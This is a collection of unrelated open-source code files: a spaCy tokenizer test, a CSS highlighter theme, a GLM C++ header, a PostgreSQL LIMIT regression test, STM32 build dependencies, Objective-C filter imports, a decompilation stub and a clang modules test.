pytest.param("cs", marks=pytest.mark.slow()),
pytest.param("da", marks=pytest.mark.slow()),
pytest.param("de", marks=pytest.mark.slow()),
"el",
"en",
pytest.param("es", marks=pytest.mark.slow()),
pytest.param("et", marks=pytest.mark.slow()),
pytest.param("fa", marks=pytest.mark.slow()),
pytest.param("fi", marks=pytest.mark.slow()),
"fr",
pytest.param("ga", marks=pytest.mark.slow()),
pytest.param("he", marks=pytest.mark.slow()),
pytest.param("hi", marks=pytest.mark.slow()),
pytest.param("hr", marks=pytest.mark.slow()),
"hu",
pytest.param("id", marks=pytest.mark.slow()),
pytest.param("it", marks=pytest.mark.slow()),
pytest.param("kn", marks=pytest.mark.slow()),
pytest.param("lb", marks=pytest.mark.slow()),
pytest.param("lt", marks=pytest.mark.slow()),
pytest.param("lv", marks=pytest.mark.slow()),
pytest.param("nb", marks=pytest.mark.slow()),
pytest.param("nl", marks=pytest.mark.slow()),
"pl",
pytest.param("pt", marks=pytest.mark.slow()),
pytest.param("ro", marks=pytest.mark.slow()),
pytest.param("si", marks=pytest.mark.slow()),
pytest.param("sk", marks=pytest.mark.slow()),
pytest.param("sl", marks=pytest.mark.slow()),
pytest.param("sq", marks=pytest.mark.slow()),
pytest.param("sr", marks=pytest.mark.slow()),
pytest.param("sv", marks=pytest.mark.slow()),
pytest.param("ta", marks=pytest.mark.slow()),
pytest.param("te", marks=pytest.mark.slow()),
pytest.param("tl", marks=pytest.mark.slow()),
pytest.param("tr", marks=pytest.mark.slow()),
pytest.param("tt", marks=pytest.mark.slow()),
pytest.param("ur", marks=pytest.mark.slow()),
]
@pytest.mark.parametrize("lang", LANGUAGES)
def test_tokenizer_explain(lang):
tokenizer = get_lang_class(lang).Defaults.create_tokenizer()
examples = pytest.importorskip("spacy.lang.{}.examples".format(lang))
for sentence in examples.sentences:
tokens = [t.text for t in tokenizer(sentence) if not t.is_space]
debug_tokens = [t[1] for t in tokenizer.explain(sentence)]
assert tokens == debug_tokens
|
{
"pile_set_name": "Github"
}
|
/*
Name: 809finest
Description: Version: 1.0
Author: Daniel De Jesús
URL: http://809finest.com
*/
.crayon-theme-809finest {
border-width: 1px !important;
text-shadow: none !important;
border-color: #162E53 !important;
border-style: solid !important;
background: #162E53 !important;
}
.crayon-theme-809finest-inline {
border-width: 1px !important;
border-color: #162E53 !important;
border-style: solid !important;
background: #112442 !important;
}
.crayon-theme-809finest .crayon-table .crayon-nums {
color: #ffffff !important;
background: #BB0A1C !important;
}
.crayon-theme-809finest .crayon-striped-line {
background: #162E53 !important;
}
.crayon-theme-809finest .crayon-striped-num {
background: #BB0A1C !important;
color: #ffffff !important;
}
.crayon-theme-809finest .crayon-marked-line {
border-width: 1px !important;
border-color: #162E53 !important;
background: #162E53 !important;
}
.crayon-theme-809finest .crayon-marked-num {
color: #ffffff !important;
border-width: 1px !important;
border-color: #BB0A1C !important;
background: #BB0A1C !important;
}
.crayon-theme-809finest .crayon-marked-line.crayon-striped-line {
background: #162E53 !important;
}
.crayon-theme-809finest .crayon-marked-num.crayon-striped-num {
color: #ffffff !important;
background: #BB0A1C !important;
}
.crayon-theme-809finest .crayon-marked-line.crayon-top {
border-top-style: solid !important;
}
.crayon-theme-809finest .crayon-marked-num.crayon-top {
border-top-style: solid !important;
}
.crayon-theme-809finest .crayon-marked-line.crayon-bottom {
border-bottom-style: solid !important;
}
.crayon-theme-809finest .crayon-marked-num.crayon-bottom {
border-bottom-style: solid !important;
}
.crayon-theme-809finest .crayon-info {
border-bottom-width: 1px !important;
border-bottom-style: solid !important;
color: #ffffff !important;
border-bottom-color: #BB0A1C !important;
background: #162E53 !important;
}
.crayon-theme-809finest .crayon-toolbar {
background: #BB0A1C !important;
border-bottom-width: 1px !important;
border-bottom-color: #BB0A1C !important;
border-bottom-style: solid !important;
}
.crayon-theme-809finest .crayon-toolbar > div {
float: left !important;
}
.crayon-theme-809finest .crayon-toolbar .crayon-tools {
float: right !important;
}
.crayon-theme-809finest .crayon-title {
color: #ffffff !important;
}
.crayon-theme-809finest .crayon-language {
color: #ffffff !important;
}
.crayon-theme-809finest a.crayon-button {
background-color: transparent !important;
}
.crayon-theme-809finest a.crayon-button:hover {
background-color: #dddddd !important;
color: #666;
}
.crayon-theme-809finest a.crayon-button.crayon-pressed:hover {
background-color: #eeeeee !important;
color: #666;
}
.crayon-theme-809finest a.crayon-button.crayon-pressed {
background-color: #dddddd !important;
color: #FFF;
}
.crayon-theme-809finest a.crayon-button.crayon-pressed:active {
background-color: #dddddd !important;
color: #FFF;
}
.crayon-theme-809finest a.crayon-button:active {
background-color: #dddddd !important;
color: #FFF;
}
.crayon-theme-809finest .crayon-pre .crayon-c {
color: #ffffff !important;
}
.crayon-theme-809finest .crayon-pre .crayon-s {
color: #ffffff !important;
}
.crayon-theme-809finest .crayon-pre .crayon-p {
color: #ffffff !important;
}
.crayon-theme-809finest .crayon-pre .crayon-ta {
color: #e91e1e !important;
}
.crayon-theme-809finest .crayon-pre .crayon-k {
color: #006699 !important;
}
.crayon-theme-809finest .crayon-pre .crayon-st {
color: #BB0A1C !important;
font-weight: bold !important;
}
.crayon-theme-809finest .crayon-pre .crayon-r {
color: #BB0A1C !important;
}
.crayon-theme-809finest .crayon-pre .crayon-t {
color: #BB0A1C !important;
}
.crayon-theme-809finest .crayon-pre .crayon-m {
color: #BB0A1C !important;
}
.crayon-theme-809finest .crayon-pre .crayon-i {
color: #ffffff !important;
}
.crayon-theme-809finest .crayon-pre .crayon-e {
color: #BB0A1C !important;
}
.crayon-theme-809finest .crayon-pre .crayon-v {
color: #ffffff !important;
}
.crayon-theme-809finest .crayon-pre .crayon-cn {
color: #ffffff !important;
}
.crayon-theme-809finest .crayon-pre .crayon-o {
color: #ffffff !important;
}
.crayon-theme-809finest .crayon-pre .crayon-sy {
color: #ffffff !important;
}
.crayon-theme-809finest .crayon-pre .crayon-n {
color: #ffffff !important;
font-style: italic !important;
}
.crayon-theme-809finest .crayon-pre .crayon-f {
color: #112442 !important;
}
.crayon-theme-809finest .crayon-pre .crayon-h {
color: #BB0A1C !important;
}
|
{
"pile_set_name": "Github"
}
|
/// @ref core
/// @file glm/detail/func_vector_relational.inl
#include <limits>
namespace glm
{
template <typename T, precision P, template <typename, precision> class vecType>
GLM_FUNC_QUALIFIER vecType<bool, P> lessThan(vecType<T, P> const & x, vecType<T, P> const & y)
{
assert(x.length() == y.length());
vecType<bool, P> Result(uninitialize);
for(length_t i = 0; i < x.length(); ++i)
Result[i] = x[i] < y[i];
return Result;
}
template <typename T, precision P, template <typename, precision> class vecType>
GLM_FUNC_QUALIFIER vecType<bool, P> lessThanEqual(vecType<T, P> const & x, vecType<T, P> const & y)
{
assert(x.length() == y.length());
vecType<bool, P> Result(uninitialize);
for(length_t i = 0; i < x.length(); ++i)
Result[i] = x[i] <= y[i];
return Result;
}
template <typename T, precision P, template <typename, precision> class vecType>
GLM_FUNC_QUALIFIER vecType<bool, P> greaterThan(vecType<T, P> const & x, vecType<T, P> const & y)
{
assert(x.length() == y.length());
vecType<bool, P> Result(uninitialize);
for(length_t i = 0; i < x.length(); ++i)
Result[i] = x[i] > y[i];
return Result;
}
template <typename T, precision P, template <typename, precision> class vecType>
GLM_FUNC_QUALIFIER vecType<bool, P> greaterThanEqual(vecType<T, P> const & x, vecType<T, P> const & y)
{
assert(x.length() == y.length());
vecType<bool, P> Result(uninitialize);
for(length_t i = 0; i < x.length(); ++i)
Result[i] = x[i] >= y[i];
return Result;
}
template <typename T, precision P, template <typename, precision> class vecType>
GLM_FUNC_QUALIFIER vecType<bool, P> equal(vecType<T, P> const & x, vecType<T, P> const & y)
{
assert(x.length() == y.length());
vecType<bool, P> Result(uninitialize);
for(length_t i = 0; i < x.length(); ++i)
Result[i] = x[i] == y[i];
return Result;
}
template <typename T, precision P, template <typename, precision> class vecType>
GLM_FUNC_QUALIFIER vecType<bool, P> notEqual(vecType<T, P> const & x, vecType<T, P> const & y)
{
assert(x.length() == y.length());
vecType<bool, P> Result(uninitialize);
for(length_t i = 0; i < x.length(); ++i)
Result[i] = x[i] != y[i];
return Result;
}
template <precision P, template <typename, precision> class vecType>
GLM_FUNC_QUALIFIER bool any(vecType<bool, P> const & v)
{
bool Result = false;
for(length_t i = 0; i < v.length(); ++i)
Result = Result || v[i];
return Result;
}
template <precision P, template <typename, precision> class vecType>
GLM_FUNC_QUALIFIER bool all(vecType<bool, P> const & v)
{
bool Result = true;
for(length_t i = 0; i < v.length(); ++i)
Result = Result && v[i];
return Result;
}
template <precision P, template <typename, precision> class vecType>
GLM_FUNC_QUALIFIER vecType<bool, P> not_(vecType<bool, P> const & v)
{
vecType<bool, P> Result(uninitialize);
for(length_t i = 0; i < v.length(); ++i)
Result[i] = !v[i];
return Result;
}
}//namespace glm
#if GLM_ARCH != GLM_ARCH_PURE && GLM_HAS_UNRESTRICTED_UNIONS
# include "func_vector_relational_simd.inl"
#endif
|
{
"pile_set_name": "Github"
}
|
--
-- LIMIT
-- Check the LIMIT/OFFSET feature of SELECT
--
SELECT ''::text AS two, unique1, unique2, stringu1
FROM onek WHERE unique1 > 50
ORDER BY unique1 LIMIT 2;
SELECT ''::text AS five, unique1, unique2, stringu1
FROM onek WHERE unique1 > 60
ORDER BY unique1 LIMIT 5;
SELECT ''::text AS two, unique1, unique2, stringu1
FROM onek WHERE unique1 > 60 AND unique1 < 63
ORDER BY unique1 LIMIT 5;
SELECT ''::text AS three, unique1, unique2, stringu1
FROM onek WHERE unique1 > 100
ORDER BY unique1 LIMIT 3 OFFSET 20;
SELECT ''::text AS zero, unique1, unique2, stringu1
FROM onek WHERE unique1 < 50
ORDER BY unique1 DESC LIMIT 8 OFFSET 99;
SELECT ''::text AS eleven, unique1, unique2, stringu1
FROM onek WHERE unique1 < 50
ORDER BY unique1 DESC LIMIT 20 OFFSET 39;
SELECT ''::text AS ten, unique1, unique2, stringu1
FROM onek
ORDER BY unique1 OFFSET 990;
SELECT ''::text AS five, unique1, unique2, stringu1
FROM onek
ORDER BY unique1 OFFSET 990 LIMIT 5;
SELECT ''::text AS five, unique1, unique2, stringu1
FROM onek
ORDER BY unique1 LIMIT 5 OFFSET 900;
-- Test null limit and offset. The planner would discard a simple null
-- constant, so to ensure executor is exercised, do this:
select * from int8_tbl limit (case when random() < 0.5 then null::bigint end);
select * from int8_tbl offset (case when random() < 0.5 then null::bigint end);
-- Test assorted cases involving backwards fetch from a LIMIT plan node
begin;
declare c1 cursor for select * from int8_tbl limit 10;
fetch all in c1;
fetch 1 in c1;
fetch backward 1 in c1;
fetch backward all in c1;
fetch backward 1 in c1;
fetch all in c1;
declare c2 cursor for select * from int8_tbl limit 3;
fetch all in c2;
fetch 1 in c2;
fetch backward 1 in c2;
fetch backward all in c2;
fetch backward 1 in c2;
fetch all in c2;
declare c3 cursor for select * from int8_tbl offset 3;
fetch all in c3;
fetch 1 in c3;
fetch backward 1 in c3;
fetch backward all in c3;
fetch backward 1 in c3;
fetch all in c3;
declare c4 cursor for select * from int8_tbl offset 10;
fetch all in c4;
fetch 1 in c4;
fetch backward 1 in c4;
fetch backward all in c4;
fetch backward 1 in c4;
fetch all in c4;
rollback;
-- Stress test for variable LIMIT in conjunction with bounded-heap sorting
SELECT
(SELECT n
FROM (VALUES (1)) AS x,
(SELECT n FROM generate_series(1,10) AS n
ORDER BY n LIMIT 1 OFFSET s-1) AS y) AS z
FROM generate_series(1,10) AS s;
--
-- Test behavior of volatile and set-returning functions in conjunction
-- with ORDER BY and LIMIT.
--
create temp sequence testseq;
explain (verbose, costs off)
select unique1, unique2, nextval('testseq')
from tenk1 order by unique2 limit 10;
select unique1, unique2, nextval('testseq')
from tenk1 order by unique2 limit 10;
select currval('testseq');
explain (verbose, costs off)
select unique1, unique2, nextval('testseq')
from tenk1 order by tenthous limit 10;
select unique1, unique2, nextval('testseq')
from tenk1 order by tenthous limit 10;
select currval('testseq');
explain (verbose, costs off)
select unique1, unique2, generate_series(1,10)
from tenk1 order by unique2 limit 7;
select unique1, unique2, generate_series(1,10)
from tenk1 order by unique2 limit 7;
explain (verbose, costs off)
select unique1, unique2, generate_series(1,10)
from tenk1 order by tenthous limit 7;
select unique1, unique2, generate_series(1,10)
from tenk1 order by tenthous limit 7;
-- use of random() is to keep planner from folding the expressions together
explain (verbose, costs off)
select generate_series(0,2) as s1, generate_series((random()*.1)::int,2) as s2;
select generate_series(0,2) as s1, generate_series((random()*.1)::int,2) as s2;
explain (verbose, costs off)
select generate_series(0,2) as s1, generate_series((random()*.1)::int,2) as s2
order by s2 desc;
select generate_series(0,2) as s1, generate_series((random()*.1)::int,2) as s2
order by s2 desc;
-- test for failure to set all aggregates' aggtranstype
explain (verbose, costs off)
select sum(tenthous) as s1, sum(tenthous) + random()*0 as s2
from tenk1 group by thousand order by thousand limit 3;
select sum(tenthous) as s1, sum(tenthous) + random()*0 as s2
from tenk1 group by thousand order by thousand limit 3;
|
{
"pile_set_name": "Github"
}
|
.\objects\stm32f10x_rcc.o: C:\Keil_v5\ARM\PACK\Keil\STM32F1xx_DFP\2.0.0\Device\StdPeriph_Driver\src\stm32f10x_rcc.c
.\objects\stm32f10x_rcc.o: C:\Keil_v5\ARM\PACK\Keil\STM32F1xx_DFP\2.0.0\Device\StdPeriph_Driver\inc\stm32f10x_rcc.h
.\objects\stm32f10x_rcc.o: C:\Keil_v5\ARM\PACK\Keil\STM32F1xx_DFP\2.0.0\Device\Include\stm32f10x.h
.\objects\stm32f10x_rcc.o: D:\Git\stm32f103-keil\i2c-master-polling\RTE\RTE_Components.h
.\objects\stm32f10x_rcc.o: C:\Keil_v5\ARM\PACK\ARM\CMSIS\4.2.0\CMSIS\Include\core_cm3.h
.\objects\stm32f10x_rcc.o: C:\Keil_v5\ARM\ARMCC\Bin\..\include\stdint.h
.\objects\stm32f10x_rcc.o: C:\Keil_v5\ARM\PACK\ARM\CMSIS\4.2.0\CMSIS\Include\core_cmInstr.h
.\objects\stm32f10x_rcc.o: C:\Keil_v5\ARM\PACK\ARM\CMSIS\4.2.0\CMSIS\Include\core_cmFunc.h
.\objects\stm32f10x_rcc.o: C:\Keil_v5\ARM\PACK\Keil\STM32F1xx_DFP\2.0.0\Device\Include\system_stm32f10x.h
.\objects\stm32f10x_rcc.o: D:\Git\stm32f103-keil\i2c-master-polling\RTE\Device\STM32F103C8\stm32f10x_conf.h
.\objects\stm32f10x_rcc.o: C:\Keil_v5\ARM\PACK\Keil\STM32F1xx_DFP\2.0.0\Device\StdPeriph_Driver\inc\stm32f10x_gpio.h
.\objects\stm32f10x_rcc.o: C:\Keil_v5\ARM\PACK\Keil\STM32F1xx_DFP\2.0.0\Device\Include\stm32f10x.h
.\objects\stm32f10x_rcc.o: C:\Keil_v5\ARM\PACK\Keil\STM32F1xx_DFP\2.0.0\Device\StdPeriph_Driver\inc\stm32f10x_i2c.h
.\objects\stm32f10x_rcc.o: C:\Keil_v5\ARM\PACK\Keil\STM32F1xx_DFP\2.0.0\Device\StdPeriph_Driver\inc\stm32f10x_rcc.h
.\objects\stm32f10x_rcc.o: C:\Keil_v5\ARM\PACK\Keil\STM32F1xx_DFP\2.0.0\Device\StdPeriph_Driver\inc\misc.h
|
{
"pile_set_name": "Github"
}
|
#import "LanSongProgram.h"
// Base classes
#import "LanSongContext.h"
#import "LanSongOutput.h"
#import "LanSongVideoCamera.h"
#import "LanSongStillCamera.h"
#import "LanSongPicture.h"
#import "LanSongRawDataInput.h"
#import "LanSongRawDataOutput.h"
#import "LanSongFilterPipeline.h"
#import "LanSongTextureOutput.h"
#import "LanSongFilterGroup.h"
#import "LanSongTextureInput.h"
#import "LanSongUIElement.h"
#import "LanSongBuffer.h"
#import "LanSongFramebuffer.h"
#import "LanSongFramebufferCache.h"
// Filters
#import "LanSongFilter.h"
#import "LanSongTwoInputFilter.h"
#import "LanSongPixellateFilter.h"
#import "LanSongPixellatePositionFilter.h"
#import "LanSongSepiaFilter.h"
#import "LanSongColorInvertFilter.h"
#import "LanSongSaturationFilter.h"
#import "LanSongContrastFilter.h"
#import "LanSongExposureFilter.h"
#import "LanSongBrightnessFilter.h"
#import "LanSongLevelsFilter.h"
#import "LanSongSharpenFilter.h"
#import "LanSongGammaFilter.h"
#import "LanSongSobelEdgeDetectionFilter.h"
#import "LanSongSketchFilter.h"
#import "LanSongToonFilter.h"
#import "LanSongSmoothToonFilter.h"
#import "LanSongMultiplyBlendFilter.h"
#import "LanSongDissolveBlendFilter.h"
#import "LanSongKuwaharaFilter.h"
#import "LanSongKuwaharaRadius3Filter.h"
#import "LanSongVignetteFilter.h"
#import "LanSongGaussianBlurFilter.h"
#import "LanSongGaussianBlurPositionFilter.h"
#import "LanSongGaussianSelectiveBlurFilter.h"
#import "LanSongOverlayBlendFilter.h"
#import "LanSongDarkenBlendFilter.h"
#import "LanSongLightenBlendFilter.h"
#import "LanSongSwirlFilter.h"
#import "LanSongSourceOverBlendFilter.h"
#import "LanSongColorBurnBlendFilter.h"
#import "LanSongColorDodgeBlendFilter.h"
#import "LanSongScreenBlendFilter.h"
#import "LanSongExclusionBlendFilter.h"
#import "LanSongDifferenceBlendFilter.h"
#import "LanSongSubtractBlendFilter.h"
#import "LanSongHardLightBlendFilter.h"
#import "LanSongSoftLightBlendFilter.h"
#import "LanSongColorBlendFilter.h"
#import "LanSongHueBlendFilter.h"
#import "LanSongSaturationBlendFilter.h"
#import "LanSongLuminosityBlendFilter.h"
#import "LanSongCropFilter.h"
#import "LanSongGrayscaleFilter.h"
#import "LanSongTransformFilter.h"
#import "LanSongChromaKeyBlendFilter.h"
#import "LanSongHazeFilter.h"
#import "LanSongLuminanceThresholdFilter.h"
#import "LanSongPosterizeFilter.h"
#import "LanSongBoxBlurFilter.h"
#import "LanSongAdaptiveThresholdFilter.h"
#import "LanSongSolarizeFilter.h"
#import "LanSongUnsharpMaskFilter.h"
#import "LanSongBulgeDistortionFilter.h"
#import "LanSongPinchDistortionFilter.h"
#import "LanSongCrosshatchFilter.h"
#import "LanSongCGAColorspaceFilter.h"
#import "LanSongPolarPixellateFilter.h"
#import "LanSongStretchDistortionFilter.h"
#import "LanSongPerlinNoiseFilter.h"
#import "LanSongJFAVoronoiFilter.h"
#import "LanSongVoronoiConsumerFilter.h"
#import "LanSongMosaicFilter.h"
#import "LanSongTiltShiftFilter.h"
#import "LanSong3x3ConvolutionFilter.h"
#import "LanSongEmbossFilter.h"
#import "LanSongCannyEdgeDetectionFilter.h"
#import "LanSongThresholdEdgeDetectionFilter.h"
#import "LanSongMaskFilter.h"
#import "LanSongMaskBlendFilter.h"
#import "LanSongHistogramFilter.h"
#import "LanSongHistogramGenerator.h"
#import "LanSongHistogramEqualizationFilter.h"
#import "LanSongPrewittEdgeDetectionFilter.h"
#import "LanSongXYDerivativeFilter.h"
#import "LanSongHarrisCornerDetectionFilter.h"
#import "LanSongAlphaBlendFilter.h"
#import "LanSongNormalBlendFilter.h"
#import "LanSongNonMaximumSuppressionFilter.h"
#import "LanSongRGBFilter.h"
#import "LanSongMedianFilter.h"
#import "LanSongBilateralFilter.h"
#import "LanSongCrosshairGenerator.h"
#import "LanSongToneCurveFilter.h"
#import "LanSongNobleCornerDetectionFilter.h"
#import "LanSongShiTomasiFeatureDetectionFilter.h"
#import "LanSongErosionFilter.h"
#import "LanSongRGBErosionFilter.h"
#import "LanSongDilationFilter.h"
#import "LanSongRGBDilationFilter.h"
#import "LanSongOpeningFilter.h"
#import "LanSongRGBOpeningFilter.h"
#import "LanSongClosingFilter.h"
#import "LanSongRGBClosingFilter.h"
#import "LanSongColorPackingFilter.h"
#import "LanSongSphereRefractionFilter.h"
#import "LanSongMonochromeFilter.h"
#import "LanSongOpacityFilter.h"
#import "LanSongHighlightShadowFilter.h"
#import "LanSongFalseColorFilter.h"
#import "LanSongHSBFilter.h"
#import "LanSongHueFilter.h"
#import "LanSongGlassSphereFilter.h"
#import "LanSongLookupFilter.h"
#import "LanSongAmatorkaFilter.h"
#import "LanSongMissEtikateFilter.h"
#import "LanSongSoftEleganceFilter.h"
#import "LanSongAddBlendFilter.h"
#import "LanSongDivideBlendFilter.h"
#import "LanSongPolkaDotFilter.h"
#import "LanSongLocalBinaryPatternFilter.h"
#import "LanSongColorLocalBinaryPatternFilter.h"
#import "LanSongLanczosResamplingFilter.h"
#import "LanSongAverageColor.h"
#import "LanSongSolidColorGenerator.h"
#import "LanSongLuminosity.h"
#import "LanSongAverageLuminanceThresholdFilter.h"
#import "LanSongWhiteBalanceFilter.h"
#import "LanSongChromaKeyFilter.h"
#import "LanSongLowPassFilter.h"
#import "LanSongHighPassFilter.h"
#import "LanSongMotionDetector.h"
#import "LanSongHalftoneFilter.h"
#import "LanSongThresholdedNonMaximumSuppressionFilter.h"
#import "LanSongHoughTransformLineDetector.h"
#import "LanSongParallelCoordinateLineTransformFilter.h"
#import "LanSongThresholdSketchFilter.h"
#import "LanSongLineGenerator.h"
#import "LanSongLinearBurnBlendFilter.h"
#import "LanSongGaussianBlurPositionFilter.h"
#import "LanSongPixellatePositionFilter.h"
#import "LanSongTwoInputCrossTextureSamplingFilter.h"
#import "LanSongPoissonBlendFilter.h"
#import "LanSongMotionBlurFilter.h"
#import "LanSongZoomBlurFilter.h"
#import "LanSongLaplacianFilter.h"
#import "LanSongiOSBlurFilter.h"
#import "LanSongLuminanceRangeFilter.h"
#import "LanSongDirectionalNonMaximumSuppressionFilter.h"
#import "LanSongDirectionalSobelEdgeDetectionFilter.h"
#import "LanSongSingleComponentGaussianBlurFilter.h"
#import "LanSongThreeInputFilter.h"
#import "LanSongFourInputFilter.h"
#import "LanSongWeakPixelInclusionFilter.h"
#import "LanSongColorConversion.h"
#import "LanSongColourFASTFeatureDetector.h"
#import "LanSongColourFASTSamplingOperation.h"
//2017年10月19日15:48:35新增:
#import "LanSongBeautyFilter.h"
#import "LanSongIFFilter.h" //LanSongIFFilter是所有IF开头的类的父类, 只是用来被继承, 不能直接使用.
#import "LanSongIF1977Filter.h"
#import "LanSongIFAmaroFilter.h"
#import "LanSongIFBrannanFilter.h"
#import "LanSongIFEarlybirdFilter.h"
#import "LanSongIFHefeFilter.h"
#import "LanSongIFHudsonFilter.h"
#import "LanSongIFInkwellFilter.h"
#import "LanSongIFLomofiFilter.h"
#import "LanSongIFNashvilleFilter.h"
#import "LanSongIFRiseFilter.h"
#import "LanSongIFSierraFilter.h"
#import "LanSongIFSutroFilter.h"
#import "LanSongIFToasterFilter.h"
#import "LanSongIFValenciaFilter.h"
#import "LanSongIFWaldenFilter.h"
#import "LanSongIFXproIIFilter.h"
#import "LanSongIFLordKelvinFilter.h"
//2018年03月07日11:23:12 增加
#import "LanSongBeautyTuneFilter.h"
/*
去燥,磨皮;
*/
#import "LanSongBeautyAdvanceFilter.h"
//2018年04月05日12:20:26 增加
#import "LanSongColorEdgeFilter.h" //抖音的颜色偏移效果, 滤镜;
#import "LanSongMirrorFilter.h" //镜像;
#import "LSOMosaicRectFilter.h"
|
{
"pile_set_name": "Github"
}
|
#include "z_en_rl.h"
#define ROOM 0x00
#define FLAGS 0x00000010
void EnRl_Init(EnRl* this, GlobalContext* globalCtx);
void EnRl_Destroy(EnRl* this, GlobalContext* globalCtx);
void EnRl_Update(EnRl* this, GlobalContext* globalCtx);
void EnRl_Draw(EnRl* this, GlobalContext* globalCtx);
/*
const ActorInit En_Rl_InitVars =
{
ACTOR_EN_RL,
ACTORTYPE_NPC,
ROOM,
FLAGS,
OBJECT_RL,
sizeof(EnRl),
(ActorFunc)EnRl_Init,
(ActorFunc)EnRl_Destroy,
(ActorFunc)EnRl_Update,
(ActorFunc)EnRl_Draw,
};
*/
#pragma GLOBAL_ASM("asm/non_matchings/overlays/actors/ovl_En_Rl/EnRl_Destroy.s")
#pragma GLOBAL_ASM("asm/non_matchings/overlays/actors/ovl_En_Rl/func_80AE72D0.s")
#pragma GLOBAL_ASM("asm/non_matchings/overlays/actors/ovl_En_Rl/func_80AE7358.s")
#pragma GLOBAL_ASM("asm/non_matchings/overlays/actors/ovl_En_Rl/func_80AE73D8.s")
#pragma GLOBAL_ASM("asm/non_matchings/overlays/actors/ovl_En_Rl/func_80AE744C.s")
#pragma GLOBAL_ASM("asm/non_matchings/overlays/actors/ovl_En_Rl/func_80AE7494.s")
#pragma GLOBAL_ASM("asm/non_matchings/overlays/actors/ovl_En_Rl/func_80AE74B4.s")
#pragma GLOBAL_ASM("asm/non_matchings/overlays/actors/ovl_En_Rl/func_80AE74FC.s")
#pragma GLOBAL_ASM("asm/non_matchings/overlays/actors/ovl_En_Rl/func_80AE7544.s")
#pragma GLOBAL_ASM("asm/non_matchings/overlays/actors/ovl_En_Rl/func_80AE7590.s")
#pragma GLOBAL_ASM("asm/non_matchings/overlays/actors/ovl_En_Rl/func_80AE7668.s")
#pragma GLOBAL_ASM("asm/non_matchings/overlays/actors/ovl_En_Rl/func_80AE7698.s")
#pragma GLOBAL_ASM("asm/non_matchings/overlays/actors/ovl_En_Rl/func_80AE772C.s")
#pragma GLOBAL_ASM("asm/non_matchings/overlays/actors/ovl_En_Rl/func_80AE7798.s")
#pragma GLOBAL_ASM("asm/non_matchings/overlays/actors/ovl_En_Rl/func_80AE77B8.s")
#pragma GLOBAL_ASM("asm/non_matchings/overlays/actors/ovl_En_Rl/func_80AE77F8.s")
#pragma GLOBAL_ASM("asm/non_matchings/overlays/actors/ovl_En_Rl/func_80AE7838.s")
#pragma GLOBAL_ASM("asm/non_matchings/overlays/actors/ovl_En_Rl/func_80AE7878.s")
#pragma GLOBAL_ASM("asm/non_matchings/overlays/actors/ovl_En_Rl/func_80AE78D4.s")
#pragma GLOBAL_ASM("asm/non_matchings/overlays/actors/ovl_En_Rl/func_80AE7954.s")
#pragma GLOBAL_ASM("asm/non_matchings/overlays/actors/ovl_En_Rl/func_80AE79A4.s")
#pragma GLOBAL_ASM("asm/non_matchings/overlays/actors/ovl_En_Rl/func_80AE7AF8.s")
#pragma GLOBAL_ASM("asm/non_matchings/overlays/actors/ovl_En_Rl/func_80AE7BF8.s")
#pragma GLOBAL_ASM("asm/non_matchings/overlays/actors/ovl_En_Rl/func_80AE7C64.s")
#pragma GLOBAL_ASM("asm/non_matchings/overlays/actors/ovl_En_Rl/func_80AE7C94.s")
#pragma GLOBAL_ASM("asm/non_matchings/overlays/actors/ovl_En_Rl/func_80AE7CE8.s")
#pragma GLOBAL_ASM("asm/non_matchings/overlays/actors/ovl_En_Rl/func_80AE7D40.s")
#pragma GLOBAL_ASM("asm/non_matchings/overlays/actors/ovl_En_Rl/func_80AE7D94.s")
#pragma GLOBAL_ASM("asm/non_matchings/overlays/actors/ovl_En_Rl/EnRl_Update.s")
#pragma GLOBAL_ASM("asm/non_matchings/overlays/actors/ovl_En_Rl/EnRl_Init.s")
#pragma GLOBAL_ASM("asm/non_matchings/overlays/actors/ovl_En_Rl/func_80AE7FD0.s")
#pragma GLOBAL_ASM("asm/non_matchings/overlays/actors/ovl_En_Rl/func_80AE7FDC.s")
#pragma GLOBAL_ASM("asm/non_matchings/overlays/actors/ovl_En_Rl/EnRl_Draw.s")
|
{
"pile_set_name": "Github"
}
|
// RUN: rm -rf %t
// RUN: %clang_cc1 -fmodules -fimplicit-module-maps -x objective-c -verify -fmodules-cache-path=%t -I %S/Inputs %s
// RUN: %clang_cc1 -fmodules -fimplicit-module-maps -x objective-c -verify -fmodules-cache-path=%t -I %S/Inputs %s -DALT
// RUN: %clang_cc1 -fmodules -fimplicit-module-maps -x objective-c -verify -fmodules-cache-path=%t -I %S/Inputs %s -detailed-preprocessing-record
// RUN: not %clang_cc1 -E -fmodules -fimplicit-module-maps -x objective-c -fmodules-cache-path=%t -I %S/Inputs %s | FileCheck -check-prefix CHECK-PREPROCESSED %s
//
// RUN: %clang_cc1 -fmodules -fimplicit-module-maps -x objective-c++ -verify -fmodules-cache-path=%t -I %S/Inputs %s
// RUN: %clang_cc1 -fmodules -fimplicit-module-maps -x objective-c++ -verify -fmodules-cache-path=%t -I %S/Inputs %s -DALT
// RUN: %clang_cc1 -fmodules -fimplicit-module-maps -x objective-c++ -verify -fmodules-cache-path=%t -I %S/Inputs %s -detailed-preprocessing-record
// RUN: not %clang_cc1 -E -fmodules -fimplicit-module-maps -x objective-c++ -fmodules-cache-path=%t -I %S/Inputs %s | FileCheck -check-prefix CHECK-PREPROCESSED %s
//
// RUN: %clang_cc1 -fmodules -fimplicit-module-maps -DLOCAL_VISIBILITY -fmodules-local-submodule-visibility -x objective-c++ -verify -fmodules-cache-path=%t -I %S/Inputs %s
// FIXME: When we have a syntax for modules in C, use that.
// These notes come from headers in modules, and are bogus.
// FIXME: expected-note@Inputs/macros_left.h:11{{previous definition is here}}
// FIXME: expected-note@Inputs/macros_right.h:12{{previous definition is here}}
// expected-note@Inputs/macros_right.h:12{{expanding this definition of 'LEFT_RIGHT_DIFFERENT'}}
// expected-note@Inputs/macros_right.h:13{{expanding this definition of 'LEFT_RIGHT_DIFFERENT2'}}
// expected-note@Inputs/macros_left.h:14{{other definition of 'LEFT_RIGHT_DIFFERENT'}}
@import macros;
#ifndef INTEGER
# error INTEGER macro should be visible
#endif
#ifdef FLOAT
# error FLOAT macro should not be visible
#endif
#ifdef MODULE
# error MODULE macro should not be visible
#endif
#ifndef INDIRECTLY_IN_MACROS
# error INDIRECTLY_IN_MACROS should be visible
#endif
// CHECK-PREPROCESSED: double d
double d;
DOUBLE *dp = &d;
#__public_macro WIBBLE // expected-error{{no macro named 'WIBBLE'}}
void f() {
// CHECK-PREPROCESSED: int i = INTEGER;
int i = INTEGER; // the value was exported, the macro was not.
i += macros; // expanded from __MODULE__ within the 'macros' module.
}
#ifdef __MODULE__
# error Not building a module!
#endif
